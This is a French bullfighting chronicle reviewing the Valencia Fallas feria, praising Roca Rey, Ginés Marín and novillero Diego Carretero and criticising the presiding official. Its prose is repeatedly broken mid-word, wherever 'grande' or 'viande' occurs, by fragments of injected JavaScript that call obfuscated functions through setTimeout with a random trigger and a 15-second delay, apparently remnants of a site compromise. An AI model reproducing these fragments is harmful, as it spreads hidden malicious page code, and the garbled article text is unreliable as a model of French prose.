ILS VEULENT LEUR PLACE

Les Fallas ont brûlé. Valencia, une année de plus, s’est vêtue de fête et d’or pour cette première feria de la saison. Si nous commençons par le côté négatif, il faut remarquer le manque de fond de la plupart des toros combattus. Des lots avec les maux et défauts des toros modernes : de la noblesse mais accompagnée d’un manque de caste et de durée vraiment frustrantes à l’exception de la corrida de Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande qui clôturait ce cycle. Rares ont été les taureaux qui ont suffisamment d’allant pour supporter plus de deux séries de passes, ce qui les convertit en un matériel idoine pour que des toreros vétérans et pantouflards durent vingt ans supplémentaires, mais néfaste pour que l’espoir peuple les gradins et pour les nouvelles monteras puissent faire évoluer leurs tauromachies engagées.

Mais même ainsi, certains y sont parvenus. Tout particulièrement Roca Rey, dont les séquelles du coup reçu à Andujar ne l’ont pas empêché de briller très au-dessus de son lot et d’enchanter le public qui avait rempli les arènes pour le voir –le seul « No hay billetes » de la feria- avec l’authenticité de son toreo et son indiscutable volonté de se hisser au plus haut. Ce fut vraiment dommage que son second toro –avec lequel il avait fait un tabac à la cape avec un quite achevé à une main avec trois limpides naturelles et une « brionesa » en guise de passe de poitrine- n’ait pas duré plus de deux séries, car la qualité qu’avait en lui ce toro et l’ajustement suave dont avait fait étalage le torero auguraient une faena retentissante, avorté par l’étiolement de son adversaire. L’épée fut létale et il reçut une oreille –une récompense pour l’ensemble de sa prestation- qui lui permit de sortir par la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte.

Elle fut aussi ouverte par Ginés Marín de façon méritée, même si sa première faena au toro de Juan Pedro, limité par la volonté du torero au registre exclusivement classique, il lui manqua un final achevé par des ornements –même si la « viandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande » est excellente il est toujours meilleure si elle est accompagnée d’une garniture- qui, avec la réussite qui l’avait accompagné à l’épée, lui aurait permis de couper les deux oreilles du toro. Devant le cinquième plus arrêté et moins vibrant, sans renoncer à son concept, il en tira de bons passages et ce furent les bernadinas finales et l’estocade qui lui mirent entre les mains le trophée grâce auquel il est sorti a hombros.

Mon podium est complété par un novillero que je ne connaissais pas et que j’ai très envie de revoir. Il s’agit de Diego Carretero à qui il a manqué très peu pour ouvrir la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte, mais il nous a laissé quelque chose de plus important : l’attitude d’un jeune homme qui allie ses sensations de torero à de la pureté, qui met au diapason son goût avec la jouissance du temple et qui possède ce courage froid dont il n’a pas besoin de faire l’étalage pour imposer sa vérité. Il eut contre lui le vent, l’état de la piste, qui était un bourbier, l’ambiance anti-taurine de la météo et le manque d’entrain des novillos de El Parralejo, mais il a tout largement dépassé. Il faut avoir ce nom en tête et suivre de près ses prochaines prestations. Le 26 mars et le 30 mai il est annoncé à Madrid.

Des prestations de Saint Nicolas au palco je ne dirai rien. Il a offert une oreille en trop à Perera, une autre à El Juli, il a décrété un tour de piste absurde au quatrième toro de Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande et poussé par son triomphalisme il a gracié le dernier toro. Il transforma le jour de Saint Joseph et un après-midi des Rois Mages. Voila tout. S’il ne monte plus au palco, ce sera mieux pour la Corrida et pour le sérieux de la tauromachie, même si cela contrarie Simon Casas. Si tel n’est pas le cas, ce sera au détriment de nous tous.

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